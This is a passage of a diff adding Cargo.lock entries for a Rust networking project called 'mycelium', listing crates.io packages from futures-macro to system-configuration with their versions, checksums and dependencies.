+[[package]] +name = "futures-macro" +version = "0.3.30" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "87750cf4b7a4c0625b1529e4c543c2182106e4dedc60a2a6455e00d212c489ac" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.48", +] + +[[package]] +name = "futures-sink" +version = "0.3.30" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9fb8e00e87438d937621c1c6269e53f536c14d3fbd6a042bb24879e57d474fb5" + +[[package]] +name = "futures-task" +version = "0.3.30" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "38d84fa142264698cdce1a9f9172cf383a0c82de1bddcf3092901442c4097004" + +[[package]] +name = "futures-util" +version = "0.3.30" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3d6401deb83407ab3da39eba7e33987a73c3df0c82b4bb5813ee871c19c41d48" +dependencies = [ + "futures-channel", + "futures-core", + "futures-io", + "futures-macro", + "futures-sink", + "futures-task", + "memchr", + "pin-project-lite", + "pin-utils", + "slab", +] + +[[package]] +name = "generator" +version = "0.7.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5cc16584ff22b460a382b7feec54b23d2908d858152e5739a120b949293bd74e" +dependencies = [ + "cc", + "libc", + "log", + "rustversion", + "windows 0.48.0", +] + +[[package]] +name = "generic-array" +version = "0.14.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "85649ca51fd72272d7821adaf274ad91c288277713d9c18820d8499a7ff69e9a" +dependencies = [ + "typenum", + "version_check", +] + +[[package]] +name = "getrandom" +version = "0.2.12" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "190092ea657667030ac6a35e305e62fc4dd69fd98ac98631e5d3a2b1575a12b5" +dependencies = [ + "cfg-if", + "libc", + "wasi", +] + +[[package]] +name = "ghash" +version = "0.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d930750de5717d2dd0b8c0d42c076c0e884c81a73e6cab859bbd2339c71e3e40" +dependencies = [ + "opaque-debug", + "polyval", +] + +[[package]] +name = "gimli" +version = "0.28.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4271d37baee1b8c7e4b708028c57d816cf9d2434acb33a549475f78c181f6253" + +[[package]] +name = "h2" +version = "0.3.24" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "bb2c4422095b67ee78da96fbb51a4cc413b3b25883c7717ff7ca1ab31022c9c9" +dependencies = [ + "bytes", + "fnv", + "futures-core", + "futures-sink", + "futures-util", + "http", + "indexmap", + "slab", + "tokio", + "tokio-util", + "tracing", +] + +[[package]] +name = "hashbrown" +version = "0.14.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "290f1a1d9242c78d09ce40a5e87e7554ee637af1351968159f4952f028f75604" + +[[package]] +name = "heck" +version = "0.4.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "95505c38b4572b2d910cecb0281560f54b440a19336cbbcb27bf6ce6adc6f5a8" + +[[package]] +name = "hermit-abi" +version = "0.3.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5d3d0e0f38255e7fa3cf31335b3a56f05febd18025f4db5ef7a0cfb4f8da651f" + +[[package]] +name = "http" +version = "0.2.11" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8947b1a6fad4393052c7ba1f4cd97bed3e953a95c79c92ad9b051a04611d9fbb" +dependencies = [ + "bytes", + "fnv", + "itoa", +] + +[[package]] +name = "http-body" +version = "0.4.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7ceab25649e9960c0311ea418d17bee82c0dcec1bd053b5f9a66e265a693bed2" +dependencies = [ + "bytes", + "http", + "pin-project-lite", +] + +[[package]] +name = "httparse" +version = "1.8.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d897f394bad6a705d5f4104762e116a75639e470d80901eed05a860a95cb1904" + +[[package]] +name = "httpdate" +version = "1.0.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "df3b46402a9d5adb4c86a0cf463f42e19994e3ee891101b1841f30a545cb49a9" + +[[package]] +name = "humantime" +version = "2.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9a3a5bfb195931eeb336b2a7b4d761daec841b97f947d34394601737a7bba5e4" + +[[package]] +name = "hyper" +version = "0.14.28" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "bf96e135eb83a2a8ddf766e426a841d8ddd7449d5f00d34ea02b41d2f19eef80" +dependencies = [ + "bytes", + "futures-channel", + "futures-core", + "futures-util", + "h2", + "http", + "http-body", + "httparse", + "httpdate", + "itoa", + "pin-project-lite", + "socket2", + "tokio", + "tower-service", + "tracing", + "want", +] + +[[package]] +name = "hyper-rustls" +version = "0.24.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ec3efd23720e2049821a693cbc7e65ea87c72f1c58ff2f9522ff332b1491e590" +dependencies = [ + "futures-util", + "http", + "hyper", + "rustls", + "tokio", + "tokio-rustls", +] + +[[package]] +name = "idna" +version = "0.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "634d9b1461af396cad843f47fdba5597a4f9e6ddd4bfb6ff5d85028c25cb12f6" +dependencies = [ + "unicode-bidi", + "unicode-normalization", +] + +[[package]] +name = "indexmap" +version = "2.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d530e1a18b1cb4c484e6e34556a0d948706958449fca0cab753d649f2bce3d1f" +dependencies = [ + "equivalent", + "hashbrown", +] + +[[package]] +name = "inout" +version = "0.1.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a0c10553d664a4d0bcff9f4215d0aac67a639cc68ef660840afe309b807bc9f5" +dependencies = [ + "generic-array", +] + +[[package]] +name = "ioctl-sys" +version = "0.8.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8bd11f3a29434026f5ff98c730b668ba74b1033637b8817940b54d040696133c" + +[[package]] +name = "ip_network_table-deps-treebitmap" +version = "0.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8e537132deb99c0eb4b752f0346b6a836200eaaa3516dd7e5514b63930a09e5d" + +[[package]] +name = "ipnet" +version = "2.9.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8f518f335dce6725a761382244631d86cf0ccb2863413590b31338feb467f9c3" + +[[package]] +name = "is-terminal" +version = "0.4.10" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0bad00257d07be169d870ab665980b06cdb366d792ad690bf2e76876dc503455" +dependencies = [ + "hermit-abi", + "rustix", + "windows-sys 0.52.0", +] + +[[package]] +name = "itoa" +version = "1.0.10" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b1a46d1a171d865aa5f83f92695765caa047a9b4cbae2cbf37dbd613a793fd4c" + +[[package]] +name = "js-sys" +version = "0.3.67" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9a1d36f1235bc969acba30b7f5990b864423a6068a10f7c90ae8f0112e3a59d1" +dependencies = [ + "wasm-bindgen", +] + +[[package]] +name = "lazy_static" +version = "1.4.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e2abad23fbc42b3700f2f279844dc832adb2b2eb069b2df918f455c4e18cc646" + +[[package]] +name = "left-right" +version = "0.11.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "cabfddf3ad712b726484562039aa6fc2014bc1b5c088bb211b208052cf0439e6" +dependencies = [ + "loom", + "slab", +] + +[[package]] +name = "libc" +version = "0.2.152" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "13e3bf6590cbc649f4d1a3eefc9d5d6eb746f5200ffb04e5e142700b8faa56e7" + +[[package]] +name = "libloading" +version = "0.8.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c571b676ddfc9a8c12f1f3d3085a7b163966a8fd8098a90640953ce5f6170161" +dependencies = [ + "cfg-if", + "windows-sys 0.48.0", +] + +[[package]] +name = "linux-raw-sys" +version = "0.4.13" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "01cda141df6706de531b6c46c3a33ecca755538219bd484262fa09410c13539c" + +[[package]] +name = "log" +version = "0.4.20" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b5e6163cb8c49088c2c36f57875e58ccd8c87c7427f7fbd50ea6710b2f3f2e8f" + +[[package]] +name = "loom" +version = "0.5.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ff50ecb28bb86013e935fb6683ab1f6d3a20016f123c76fd4c27470076ac30f5" +dependencies = [ + "cfg-if", + "generator", + "scoped-tls", + "tracing", + "tracing-subscriber", +] + +[[package]] +name = "matchers" +version = "0.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8263075bb86c5a1b1427b5ae862e8889656f126e9f77c484496e8b47cf5c5558" +dependencies = [ + "regex-automata 0.1.10", +] + +[[package]] +name = "matchit" +version = "0.7.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0e7465ac9959cc2b1404e8e2367b43684a6d13790fe23056cc8c6c5a6b7bcb94" + +[[package]] +name = "memchr" +version = "2.7.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "523dc4f511e55ab87b694dc30d0f820d60906ef06413f93d4d7a1385599cc149" + +[[package]] +name = "memoffset" +version = "0.9.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5a634b1c61a95585bd15607c6ab0c4e5b226e695ff2800ba0cdccddf208c406c" +dependencies = [ + "autocfg", +] + +[[package]] +name = "mime" +version = "0.3.17" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6877bb514081ee2a7ff5ef9de3281f14a4dd4bceac4c09388074a6b5df8a139a" + +[[package]] +name = "miniz_oxide" +version = "0.7.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e7810e0be55b428ada41041c41f32c9f1a42817901b4ccf45fa3d4b6561e74c7" +dependencies = [ + "adler", +] + +[[package]] +name = "mio" +version = "0.8.10" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8f3d0b296e374a4e6f3c7b0a1f5a51d748a0d34c85e7dc48fc3fa9a87657fe09" +dependencies = [ + "libc", + "wasi", + "windows-sys 0.48.0", +] + +[[package]] +name = "mycelium" +version = "0.4.2" +dependencies = [ + "aes-gcm", + "axum", + "base64", + "blake2", + "blake3", + "bytes", + "clap", + "digest", + "etherparse", + "faster-hex", + "futures", + "ip_network_table-deps-treebitmap", + "ipnet", + "left-right", + "libc", + "log", + "network-interface", + "nix 0.27.1", + "pretty_env_logger", + "quinn", + "rand", + "rcgen", + "reqwest", + "rtnetlink", + "rustls", + "serde", + "serde_json", + "tokio", + "tokio-stream", + "tokio-tun", + "tokio-util", + "toml", + "tun", + "wintun 0.4.0", + "x25519-dalek", +] + +[[package]] +name = "netlink-packet-core" +version = "0.7.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "72724faf704479d67b388da142b186f916188505e7e0b26719019c525882eda4" +dependencies = [ + "anyhow", + "byteorder", + "netlink-packet-utils", +] + +[[package]] +name = "netlink-packet-route" +version = "0.17.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "053998cea5a306971f88580d0829e90f270f940befd7cf928da179d4187a5a66" +dependencies = [ + "anyhow", + "bitflags 1.3.2", + "byteorder", + "libc", + "netlink-packet-core", + "netlink-packet-utils", +] + +[[package]] +name = "netlink-packet-utils" +version = "0.5.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0ede8a08c71ad5a95cdd0e4e52facd37190977039a4704eb82a283f713747d34" +dependencies = [ + "anyhow", + "byteorder", + "paste", + "thiserror", +] + +[[package]] +name = "netlink-proto" +version = "0.11.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "842c6770fc4bb33dd902f41829c61ef872b8e38de1405aa0b938b27b8fba12c3" +dependencies = [ + "bytes", + "futures", + "log", + "netlink-packet-core", + "netlink-sys", + "thiserror", + "tokio", +] + +[[package]] +name = "netlink-sys" +version = "0.8.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6471bf08e7ac0135876a9581bf3217ef0333c191c128d34878079f42ee150411" +dependencies = [ + "bytes", + "futures", + "libc", + "log", + "tokio", +] + +[[package]] +name = "network-interface" +version = "1.1.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0d68759ef97fe9c9e46f79ea8736c19f1d28992e24c8dc8ce86752918bfeaae7" +dependencies = [ + "cc", + "libc", + "thiserror", + "winapi", +] + +[[package]] +name = "nix" +version = "0.26.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "598beaf3cc6fdd9a5dfb1630c2800c7acd31df7aaf0f565796fba2b53ca1af1b" +dependencies = [ + "bitflags 1.3.2", + "cfg-if", + "libc", +] + +[[package]] +name = "nix" +version = "0.27.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2eb04e9c688eff1c89d72b407f168cf79bb9e867a9d3323ed6c01519eb9cc053" +dependencies = [ + "bitflags 2.4.2", + "cfg-if", + "libc", + "memoffset", +] + +[[package]] +name = "nu-ansi-term" +version = "0.46.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "77a8165726e8236064dbb45459242600304b42a5ea24ee2948e18e023bf7ba84" +dependencies = [ + "overload", + "winapi", +] + +[[package]] +name = "num_cpus" +version = "1.16.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4161fcb6d602d4d2081af7c3a45852d875a03dd337a6bfdd6e06407b61342a43" +dependencies = [ + "hermit-abi", + "libc", +] + +[[package]] +name = "object" +version = "0.32.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a6a622008b6e321afc04970976f62ee297fdbaa6f95318ca343e3eebb9648441" +dependencies = [ + "memchr", +] + +[[package]] +name = "once_cell" +version = "1.19.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3fdb12b2476b595f9358c5161aa467c2438859caa136dec86c26fdd2efe17b92" + +[[package]] +name = "opaque-debug" +version = "0.3.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "624a8340c38c1b80fd549087862da4ba43e08858af025b236e509b6649fc13d5" + +[[package]] +name = "overload" +version = "0.1.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b15813163c1d831bf4a13c3610c05c0d03b39feb07f7e09fa234dac9b15aaf39" + +[[package]] +name = "paste" +version = "1.0.14" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "de3145af08024dea9fa9914f381a17b8fc6034dfb00f3a84013f7ff43f29ed4c" + +[[package]] +name = "pem" +version = "3.0.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1b8fcc794035347fb64beda2d3b462595dd2753e3f268d89c5aae77e8cf2c310" +dependencies = [ + "base64", + "serde", +] + +[[package]] +name = "percent-encoding" +version = "2.3.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e3148f5046208a5d56bcfc03053e3ca6334e51da8dfb19b6cdc8b306fae3283e" + +[[package]] +name = "pin-project" +version = "1.1.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "fda4ed1c6c173e3fc7a83629421152e01d7b1f9b7f65fb301e490e8cfc656422" +dependencies = [ + "pin-project-internal", +] + +[[package]] +name = "pin-project-internal" +version = "1.1.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4359fd9c9171ec6e8c62926d6faaf553a8dc3f64e1507e76da7911b4f6a04405" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.48", +] + +[[package]] +name = "pin-project-lite" +version = "0.2.13" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8afb450f006bf6385ca15ef45d71d2288452bc3683ce2e2cacc0d18e4be60b58" + +[[package]] +name = "pin-utils" +version = "0.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8b870d8c151b6f2fb93e84a13146138f05d02ed11c7e7c54f8826aaaf7c9f184" + +[[package]] +name = "platforms" +version = "3.3.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "626dec3cac7cc0e1577a2ec3fc496277ec2baa084bebad95bb6fdbfae235f84c" + +[[package]] +name = "polyval" +version = "0.6.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d52cff9d1d4dee5fe6d03729099f4a310a41179e0a10dbf542039873f2e826fb" +dependencies = [ + "cfg-if", + "cpufeatures", + "opaque-debug", + "universal-hash", +] + +[[package]] +name = "powerfmt" +version = "0.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "439ee305def115ba05938db6eb1644ff94165c5ab5e9420d1c1bcedbba909391" + +[[package]] +name = "ppv-lite86" +version = "0.2.17" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5b40af805b3121feab8a3c29f04d8ad262fa8e0561883e7653e024ae4479e6de" + +[[package]] +name = "pretty_env_logger" +version = "0.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "865724d4dbe39d9f3dd3b52b88d859d66bcb2d6a0acfd5ea68a65fb66d4bdc1c" +dependencies = [ + "env_logger", + "log", +] + +[[package]] +name = "proc-macro2" +version = "1.0.78" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e2422ad645d89c99f8f3e6b88a9fdeca7fabeac836b1002371c4367c8f984aae" +dependencies = [ + "unicode-ident", +] + +[[package]] +name = "quinn" +version = "0.10.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8cc2c5017e4b43d5995dcea317bc46c1e09404c0a9664d2908f7f02dfe943d75" +dependencies = [ + "bytes", + "pin-project-lite", + "quinn-proto", + "quinn-udp", + "rustc-hash", + "rustls", + "thiserror", + "tokio", + "tracing", +] + +[[package]] +name = "quinn-proto" +version = "0.10.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "141bf7dfde2fbc246bfd3fe12f2455aa24b0fbd9af535d8c86c7bd1381ff2b1a" +dependencies = [ + "bytes", + "rand", + "ring 0.16.20", + "rustc-hash", + "rustls", + "slab", + "thiserror", + "tinyvec", + "tracing", +] + +[[package]] +name = "quinn-udp" +version = "0.4.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "055b4e778e8feb9f93c4e439f71dc2156ef13360b432b799e179a8c4cdf0b1d7" +dependencies = [ + "bytes", + "libc", + "socket2", + "tracing", + "windows-sys 0.48.0", +] + +[[package]] +name = "quote" +version = "1.0.35" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "291ec9ab5efd934aaf503a6466c5d5251535d108ee747472c3977cc5acc868ef" +dependencies = [ + "proc-macro2", +] + +[[package]] +name = "rand" +version = "0.8.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "34af8d1a0e25924bc5b7c43c079c942339d8f0a8b57c39049bef581b46327404" +dependencies = [ + "libc", + "rand_chacha", + "rand_core", +] + +[[package]] +name = "rand_chacha" +version = "0.3.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e6c10a63a0fa32252be49d21e7709d4d4baf8d231c2dbce1eaa8141b9b127d88" +dependencies = [ + "ppv-lite86", + "rand_core", +] + +[[package]] +name = "rand_core" +version = "0.6.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ec0be4795e2f6a28069bec0b5ff3e2ac9bafc99e6a9a7dc3547996c5c816922c" +dependencies = [ + "getrandom", +] + +[[package]] +name = "rcgen" +version = "0.12.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5d918c80c5a4c7560db726763020bd16db179e4d5b828078842274a443addb5d" +dependencies = [ + "pem", + "ring 0.17.7", + "time", + "yasna", +] + +[[package]] +name = "regex" +version = "1.10.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b62dbe01f0b06f9d8dc7d49e05a0785f153b00b2c227856282f671e0318c9b15" +dependencies = [ + "aho-corasick", + "memchr", + "regex-automata 0.4.4", + "regex-syntax 0.8.2", +] + +[[package]] +name = "regex-automata" +version = "0.1.10" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6c230d73fb8d8c1b9c0b3135c5142a8acee3a0558fb8db5cf1cb65f8d7862132" +dependencies = [ + "regex-syntax 0.6.29", +] + +[[package]] +name = "regex-automata" +version = "0.4.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3b7fa1134405e2ec9353fd416b17f8dacd46c473d7d3fd1cf202706a14eb792a" +dependencies = [ + "aho-corasick", + "memchr", + "regex-syntax 0.8.2", +] + +[[package]] +name = "regex-syntax" +version = "0.6.29" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f162c6dd7b008981e4d40210aca20b4bd0f9b60ca9271061b07f78537722f2e1" + +[[package]] +name = "regex-syntax" +version = "0.8.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c08c74e62047bb2de4ff487b251e4a92e24f48745648451635cec7d591162d9f" + +[[package]] +name = "reqwest" +version = "0.11.23" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "37b1ae8d9ac08420c66222fb9096fc5de435c3c48542bc5336c51892cffafb41" +dependencies = [ + "base64", + "bytes", + "encoding_rs", + "futures-core", + "futures-util", + "h2", + "http", + "http-body", + "hyper", + "hyper-rustls", + "ipnet", + "js-sys", + "log", + "mime", + "once_cell", + "percent-encoding", + "pin-project-lite", + "rustls", + "rustls-pemfile", + "serde", + "serde_json", + "serde_urlencoded", + "system-configuration", + "tokio", + "tokio-rustls", + "tower-service", + "url", + "wasm-bindgen", + "wasm-bindgen-futures", + "web-sys", + "webpki-roots", + "winreg", +] + +[[package]] +name = "ring" +version = "0.16.20" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3053cf52e236a3ed746dfc745aa9cacf1b791d846bdaf412f60a8d7d6e17c8fc" +dependencies = [ + "cc", + "libc", + "once_cell", + "spin 0.5.2", + "untrusted 0.7.1", + "web-sys", + "winapi", +] + +[[package]] +name = "ring" +version = "0.17.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "688c63d65483050968b2a8937f7995f443e27041a0f7700aa59b0822aedebb74" +dependencies = [ + "cc", + "getrandom", + "libc", + "spin 0.9.8", + "untrusted 0.9.0", + "windows-sys 0.48.0", +] + +[[package]] +name = "rtnetlink" +version = "0.13.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7a552eb82d19f38c3beed3f786bd23aa434ceb9ac43ab44419ca6d67a7e186c0" +dependencies = [ + "futures", + "log", + "netlink-packet-core", + "netlink-packet-route", + "netlink-packet-utils", + "netlink-proto", + "netlink-sys", + "nix 0.26.4", + "thiserror", + "tokio", +] + +[[package]] +name = "rustc-demangle" +version = "0.1.23" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d626bb9dae77e28219937af045c257c28bfd3f69333c512553507f5f9798cb76" + +[[package]] +name = "rustc-hash" +version = "1.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "08d43f7aa6b08d49f382cde6a7982047c3426db949b1424bc4b7ec9ae12c6ce2" + +[[package]] +name = "rustc_version" +version = "0.4.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "bfa0f585226d2e68097d4f95d113b15b83a82e819ab25717ec0590d9584ef366" +dependencies = [ + "semver", +] + +[[package]] +name = "rustix" +version = "0.38.30" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "322394588aaf33c24007e8bb3238ee3e4c5c09c084ab32bc73890b99ff326bca" +dependencies = [ + "bitflags 2.4.2", + "errno", + "libc", + "linux-raw-sys", + "windows-sys 0.52.0", +] + +[[package]] +name = "rustls" +version = "0.21.10" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f9d5a6813c0759e4609cd494e8e725babae6a2ca7b62a5536a13daaec6fcb7ba" +dependencies = [ + "log", + "ring 0.17.7", + "rustls-webpki", + "sct", +] + +[[package]] +name = "rustls-pemfile" +version = "1.0.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1c74cae0a4cf6ccbbf5f359f08efdf8ee7e1dc532573bf0db71968cb56b1448c" +dependencies = [ + "base64", +] + +[[package]] +name = "rustls-webpki" +version = "0.101.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8b6275d1ee7a1cd780b64aca7726599a1dbc893b1e64144529e55c3c2f745765" +dependencies = [ + "ring 0.17.7", + "untrusted 0.9.0", +] + +[[package]] +name = "rustversion" +version = "1.0.14" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7ffc183a10b4478d04cbbbfc96d0873219d962dd5accaff2ffbd4ceb7df837f4" + +[[package]] +name = "ryu" +version = "1.0.16" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f98d2aa92eebf49b69786be48e4477826b256916e84a57ff2a4f21923b48eb4c" + +[[package]] +name = "scoped-tls" +version = "1.0.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e1cf6437eb19a8f4a6cc0f7dca544973b0b78843adbfeb3683d1a94a0024a294" + +[[package]] +name = "sct" +version = "0.7.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "da046153aa2352493d6cb7da4b6e5c0c057d8a1d0a9aa8560baffdd945acd414" +dependencies = [ + "ring 0.17.7", + "untrusted 0.9.0", +] + +[[package]] +name = "semver" +version = "1.0.21" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b97ed7a9823b74f99c7742f5336af7be5ecd3eeafcb1507d1fa93347b1d589b0" + +[[package]] +name = "serde" +version = "1.0.195" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "63261df402c67811e9ac6def069e4786148c4563f4b50fd4bf30aa370d626b02" +dependencies = [ + "serde_derive", +] + +[[package]] +name = "serde_derive" +version = "1.0.195" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "46fe8f8603d81ba86327b23a2e9cdf49e1255fb94a4c5f297f6ee0547178ea2c" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.48", +] + +[[package]] +name = "serde_json" +version = "1.0.111" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "176e46fa42316f18edd598015a5166857fc835ec732f5215eac6b7bdbf0a84f4" +dependencies = [ + "itoa", + "ryu", + "serde", +] + +[[package]] +name = "serde_path_to_error" +version = "0.1.15" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ebd154a240de39fdebcf5775d2675c204d7c13cf39a4c697be6493c8e734337c" +dependencies = [ + "itoa", + "serde", +] + +[[package]] +name = "serde_spanned" +version = "0.6.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "eb3622f419d1296904700073ea6cc23ad690adbd66f13ea683df73298736f0c1" +dependencies = [ + "serde", +] + +[[package]] +name = "serde_urlencoded" +version = "0.7.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d3491c14715ca2294c4d6a88f15e84739788c1d030eed8c110436aafdaa2f3fd" +dependencies = [ + "form_urlencoded", + "itoa", + "ryu", + "serde", +] + +[[package]] +name = "sharded-slab" +version = "0.1.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f40ca3c46823713e0d4209592e8d6e826aa57e928f09752619fc696c499637f6" +dependencies = [ + "lazy_static", +] + +[[package]] +name = "signal-hook-registry" +version = "1.4.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d8229b473baa5980ac72ef434c4415e70c4b5e71b423043adb4ba059f89c99a1" +dependencies = [ + "libc", +] + +[[package]] +name = "slab" +version = "0.4.9" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8f92a496fb766b417c996b9c5e57daf2f7ad3b0bebe1ccfca4856390e3d3bb67" +dependencies = [ + "autocfg", +] + +[[package]] +name = "smallvec" +version = "1.13.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e6ecd384b10a64542d77071bd64bd7b231f4ed5940fba55e98c3de13824cf3d7" + +[[package]] +name = "socket2" +version = "0.5.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7b5fac59a5cb5dd637972e5fca70daf0523c9067fcdc4842f053dae04a18f8e9" +dependencies = [ + "libc", + "windows-sys 0.48.0", +] + +[[package]] +name = "spin" +version = "0.5.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6e63cff320ae2c57904679ba7cb63280a3dc4613885beafb148ee7bf9aa9042d" + +[[package]] +name = "spin" +version = "0.9.8" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6980e8d7511241f8acf4aebddbb1ff938df5eebe98691418c4468d0b72a96a67" + +[[package]] +name = "strsim" +version = "0.10.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "73473c0e59e6d5812c5dfe2a064a6444949f089e20eec9a2e5506596494e4623" + +[[package]] +name = "subtle" +version = "2.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "81cdd64d312baedb58e21336b31bc043b77e01cc99033ce76ef539f78e965ebc" + +[[package]] +name = "syn" +version = "1.0.109" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "72b64191b275b66ffe2469e8af2c1cfe3bafa67b529ead792a6d0160888b4237" +dependencies = [ + "proc-macro2", + "quote", + "unicode-ident", +] + +[[package]] +name = "syn" +version = "2.0.48" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0f3531638e407dfc0814761abb7c00a5b54992b849452a0646b7f65c9f770f3f" +dependencies = [ + "proc-macro2", + "quote", + "unicode-ident", +] + +[[package]] +name = "sync_wrapper" +version = "0.1.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2047c6ded9c721764247e62cd3b03c09ffc529b2ba5b10ec482ae507a4a70160" + +[[package]] +name = "system-configuration" +version = "0.5.1" 